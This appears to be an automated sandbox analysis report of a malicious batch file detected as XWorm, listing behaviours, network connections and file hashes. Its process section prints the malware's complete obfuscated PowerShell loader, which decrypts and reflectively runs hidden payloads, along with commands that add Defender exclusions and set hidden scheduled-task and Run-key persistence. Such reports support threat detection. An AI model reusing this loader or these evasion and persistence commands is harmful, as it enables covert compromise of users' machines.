Analysis Overview
SHA256
3f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552
Threat Level: Known bad
The file APK_Installer.bat was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Drops startup file
Adds Run key to start application
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Modifies registry class
Creates scheduled task(s)
Delays execution with timeout.exe
Suspicious behavior: EnumeratesProcesses
Uses Task Scheduler COM API
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-30 17:42
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-30 17:42
Reported
2024-05-30 17:43
Platform
win11-20240508-en
Max time kernel
43s
Max time network
46s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "C:\\Users\\Admin\\Runtime Broker.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\APK_Installer.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\APK_Installer.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\APK_Installer.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_211_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_211.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_211.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_211.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_211.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_211.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Runtime Broker.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Admin\Runtime Broker.exe"
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /delete /f /tn "Runtime Broker"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1EF.tmp.bat""
C:\Windows\system32\timeout.exe
timeout 3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 145.83.221.88.in-addr.arpa | udp |
| US | 147.185.221.19:38173 | 19.ip.gl.ply.gg | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 147.185.221.19:38173 | 19.ip.gl.ply.gg | tcp |
Files
memory/904-0-0x00007FFD8CC33000-0x00007FFD8CC35000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fw0yjg4r.psj.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/904-9-0x0000021BD8280000-0x0000021BD82A2000-memory.dmp
memory/904-10-0x00007FFD8CC30000-0x00007FFD8D6F2000-memory.dmp
memory/904-11-0x00007FFD8CC30000-0x00007FFD8D6F2000-memory.dmp
memory/904-12-0x00007FFD8CC30000-0x00007FFD8D6F2000-memory.dmp
memory/904-13-0x0000021BD8270000-0x0000021BD8278000-memory.dmp
memory/904-14-0x0000021BD84F0000-0x0000021BD852A000-memory.dmp
memory/4552-16-0x00007FFD8CC30000-0x00007FFD8D6F2000-memory.dmp
memory/4552-17-0x00007FFD8CC30000-0x00007FFD8D6F2000-memory.dmp
memory/4552-26-0x00007FFD8CC30000-0x00007FFD8D6F2000-memory.dmp
memory/4552-29-0x00007FFD8CC30000-0x00007FFD8D6F2000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | eb15ee5741b379245ca8549cb0d4ecf8 |
| SHA1 | 3555273945abda3402674aea7a4bff65eb71a783 |
| SHA256 | b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636 |
| SHA512 | 1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
C:\Users\Admin\AppData\Roaming\startup_str_211.vbs
| MD5 | 91a5a534d4321ddb5206d899df290d34 |
| SHA1 | 36298336b90b1bcfb811eea2c78eb5813f7699bb |
| SHA256 | 247b0003fab14a41c2c51e39dbddf4bce98548fdf98559b9657e914b7b38b197 |
| SHA512 | d3a925b589809e5c89f5490e767d6cc0b000c1f8e2218279890ad73c166a7f197ffbdfcc8b11699d74d2b5a8597f655b27560eda18f88f549ccade3fe7259ce2 |
C:\Users\Admin\AppData\Roaming\startup_str_211.bat
| MD5 | 7a5f5944302b8298714b56ae2f138b7c |
| SHA1 | 669b42f2f6e76895899d84d5ad7a12f23d951f13 |
| SHA256 | 3f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552 |
| SHA512 | 73049c86a87fe41797a4f3b382e0f2740a9def19ee12979d7a37237b33fa5aa3ad2ec1c4852ebc02987afa75f08fd52115d4a416eabf38b5df1936ce38b8f120 |
memory/2072-47-0x00000196A50E0000-0x00000196A50FA000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 1a9fa92a4f2e2ec9e244d43a6a4f8fb9 |
| SHA1 | 9910190edfaccece1dfcc1d92e357772f5dae8f7 |
| SHA256 | 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888 |
| SHA512 | 5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 9b700dd28cad30c7ed7a7e6fc6367002 |
| SHA1 | ef00fcc0d512758d428a5c0c73c34f0c01cefdeb |
| SHA256 | 8b8532ff0ed06dd5696cdf54fc5909757444e82f5739d8402e2534e813573ddd |
| SHA512 | 8bd5d5209fce602c1bb4eacf081744a5a5524cc05d48adf9e2343f49b7a1f9e510cc859d1796d84291ba0172059ca7bd32bfd1d0840310cafb18839257bd375a |
memory/904-81-0x00007FFD8CC30000-0x00007FFD8D6F2000-memory.dmp
memory/904-82-0x00007FFD8CC33000-0x00007FFD8CC35000-memory.dmp
memory/2072-83-0x00000196A5450000-0x00000196A545C000-memory.dmp
memory/2072-84-0x00000196A56B0000-0x00000196A5863000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d8528086c51c4f1528a9676038ec213e |
| SHA1 | bd32a682d9df21d36799486346aa1235c96b4d6a |
| SHA256 | 7cd0a49f94c512e57e0a7102352ee68c5d7a320db0eec57aea0d5e648d4bcf4a |
| SHA512 | e89d008113f89b978fb65bd6dd0bcde3c4506fbb14e54aa5296607ae34d94081d1e825750dbd9dd864adea462c8dc1263e3d138c041b3d4b7dee78debdef7374 |
C:\Users\Admin\AppData\Local\Temp\tmp1EF.tmp.bat
| MD5 | c177a7409cb8dd0f1a2b16ee4f77cd48 |
| SHA1 | 627611a449fd264ebd7e64c599d038354e6f738c |
| SHA256 | 079e83e42525b1adf9dee2c12a1fe62c14dc99cb74ceae640c0ecdc8eb13190b |
| SHA512 | a4514c0070359ea76f6cc46aec13f57b5cfee1cb5ab9e4261a28c84a756085a407feb87deeda1e0ce43d341e38064115d159ca494e77678bbceb1d61e4c1ec66 |